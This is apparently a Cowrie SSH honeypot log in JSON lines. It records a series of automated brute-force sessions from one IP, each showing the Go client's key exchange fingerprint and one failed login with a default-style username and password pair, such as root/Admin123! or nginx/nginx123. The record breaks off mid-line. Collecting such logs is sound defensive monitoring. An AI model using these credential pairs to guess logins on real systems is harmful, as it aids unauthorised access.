{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:10.236700Z","src_ip":"176.65.132.129","session":"e24878bf765d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:10.722927Z","src_ip":"176.65.132.129","session":"e24878bf765d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:11.810528Z","src_ip":"176.65.132.129","session":"e24878bf765d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49272,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a4a62b775b1","protocol":"ssh","message":"New connection: 176.65.132.129:49272 (159.203.135.109:22) [session: 1a4a62b775b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:13.750843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:13.755779Z","src_ip":"176.65.132.129","session":"1a4a62b775b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:13.841382Z","src_ip":"176.65.132.129","session":"1a4a62b775b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:14.086990Z","src_ip":"176.65.132.129","session":"1a4a62b775b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:15.172098Z","src_ip":"176.65.132.129","session":"1a4a62b775b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59544,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e2e3fd0ca98","protocol":"ssh","message":"New connection: 176.65.132.129:59544 (159.203.135.109:22) [session: 7e2e3fd0ca98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:17.074209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:17.079392Z","src_ip":"176.65.132.129","session":"7e2e3fd0ca98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:17.161745Z","src_ip":"176.65.132.129","session":"7e2e3fd0ca98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:17.410751Z","src_ip":"176.65.132.129","session":"7e2e3fd0ca98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:18.496233Z","src_ip":"176.65.132.129","session":"7e2e3fd0ca98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59556,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b467e22e726","protocol":"ssh","message":"New connection: 176.65.132.129:59556 (159.203.135.109:22) [session: 8b467e22e726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:20.573619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:20.582043Z","src_ip":"176.65.132.129","session":"8b467e22e726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:20.664462Z","src_ip":"176.65.132.129","session":"8b467e22e726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:20.910032Z","src_ip":"176.65.132.129","session":"8b467e22e726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:21.994441Z","src_ip":"176.65.132.129","session":"8b467e22e726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59568,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfcf87f25f27","protocol":"ssh","message":"New connection: 176.65.132.129:59568 (159.203.135.109:22) [session: dfcf87f25f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:23.934103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:23.938815Z","src_ip":"176.65.132.129","session":"dfcf87f25f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:24.021509Z","src_ip":"176.65.132.129","session":"dfcf87f25f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:24.269100Z","src_ip":"176.65.132.129","session":"dfcf87f25f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:25.470819Z","src_ip":"176.65.132.129","session":"dfcf87f25f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56186,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84864178ce3","protocol":"ssh","message":"New connection: 176.65.132.129:56186 (159.203.135.109:22) [session: f84864178ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:27.249572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:27.256715Z","src_ip":"176.65.132.129","session":"f84864178ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:27.338325Z","src_ip":"176.65.132.129","session":"f84864178ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:27.608491Z","src_ip":"176.65.132.129","session":"f84864178ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:28.693782Z","src_ip":"176.65.132.129","session":"f84864178ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f784cfbd9bc6","protocol":"ssh","message":"New connection: 176.65.132.129:56188 (159.203.135.109:22) [session: f784cfbd9bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:30.784617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:30.789255Z","src_ip":"176.65.132.129","session":"f784cfbd9bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:30.870870Z","src_ip":"176.65.132.129","session":"f784cfbd9bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:31.116544Z","src_ip":"176.65.132.129","session":"f784cfbd9bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.48247051239014,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:31.537807Z","src_ip":"45.58.127.90","session":"158708c7ac63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:32.201102Z","src_ip":"176.65.132.129","session":"f784cfbd9bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56190,"dst_ip":"159.203.135.109","dst_port":22,"session":"252ead6172d8","protocol":"ssh","message":"New connection: 176.65.132.129:56190 (159.203.135.109:22) [session: 252ead6172d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:34.178684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:34.183163Z","src_ip":"176.65.132.129","session":"252ead6172d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:34.265047Z","src_ip":"176.65.132.129","session":"252ead6172d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:34.510315Z","src_ip":"176.65.132.129","session":"252ead6172d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:35.887471Z","src_ip":"176.65.132.129","session":"252ead6172d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45418,"dst_ip":"159.203.135.109","dst_port":22,"session":"576ac4027754","protocol":"ssh","message":"New connection: 176.65.132.129:45418 (159.203.135.109:22) [session: 576ac4027754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:37.510644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:11:37.515845Z","src_ip":"176.65.132.129","session":"576ac4027754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","a